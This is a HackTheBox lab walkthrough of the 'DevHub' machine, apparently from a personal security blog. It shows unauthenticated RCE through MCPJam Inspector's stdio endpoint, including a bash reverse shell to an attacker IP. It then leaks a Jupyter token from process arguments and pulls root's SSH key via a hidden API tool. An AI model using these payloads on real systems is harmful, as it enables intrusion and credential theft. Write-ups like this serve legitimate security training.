← Back to CTF
HTB Medium 2 min read

DevHub

Walkthrough of the HackTheBox machine DevHub: exploiting an unauthenticated STDIO transport in MCPJam Inspector for RCE, pivoting to a second user via a Jupyter token leaked in process arguments, then dumping root's SSH private key through a hidden API endpoint in an internally-running privileged service.

HackTheBoxMCPMCPJamAPI SecurityJupyterHardcoded KeysCredential LeakProcess Arguments
Platform HackTheBox Difficulty Medium Author Rana Uzair Ahmad
DevHub

Enumeration

$ nmap -sC -sV -p- --open -Pn 10.129.x.x
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu
80/tcp   open  http    nginx (redirects to http://devhub.htb/)
6274/tcp open  unknown

Port 6274 is MCPJam Inspector, a web UI for testing Model Context Protocol servers. The /api/mcp/connect endpoint accepts a serverConfig with type: stdio, which spawns the supplied command directly with no authentication.

$ curl -s http://10.129.x.x:6274/api/mcp/connect -X POST \
  -H "Content-Type: application/json" \
  -d '{"serverId":"test","serverName":"test","serverConfig":{"type":"stdio","command":"id","args":[]}}'

Foothold

$ nc -lvnp 4444
$ curl -s -X POST http://10.129.x.x:6274/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{
    "serverId":"x","serverName":"x",
    "serverConfig":{
      "type":"stdio",
      "command":"bash",
      "args":["-c","bash -i >& /dev/tcp/10.10.14.x/4444 0>&1"]
    }
  }'

mcp-dev@devhub:~$ id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)

Privilege Escalation

mcp-dev → analyst

mcp-dev@devhub:~$ ss -tlnp
LISTEN 0  127.0.0.1:8888
LISTEN 0  127.0.0.1:5000

ps aux leaks the Jupyter token in plaintext:

analyst  1060  ... jupyter-lab --ip=127.0.0.1 --port=8888 \
  --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7

Create a terminal session via the Jupyter REST API and run commands as analyst:

$ curl -s -X POST "http://127.0.0.1:8888/api/terminals" \
  -H "Authorization: token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
  -H "Content-Type: application/json"
{"name": "1"}

Connect to /terminals/websocket/1 and send ["stdin", "cat /home/analyst/user.txt\r\n"] to retrieve the user flag.

analyst → root

The OPSMCP service on port 5000 runs as root. Its source is readable by analyst:

analyst@devhub:~$ cat /opt/opsmcp/server.py | grep -A2 'VALID_API_KEY'
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"

An undocumented ops._admin_dump tool reads /root/.ssh/id_rsa and returns it:

analyst@devhub:~$ curl -s -X POST http://127.0.0.1:5000/tools/call \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
  -H "Content-Type: application/json" \
  -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'
{"root_private_key": "-----BEGIN OPENSSH PRIVATE KEY-----..."}
$ chmod 600 root_key.pem
$ ssh -i root_key.pem root@10.129.x.x
root@devhub:~# cat /root/root.txt
<REDACTED>

// Discussion

Enjoyed this? Let us work together.

I am open to security internships and junior roles.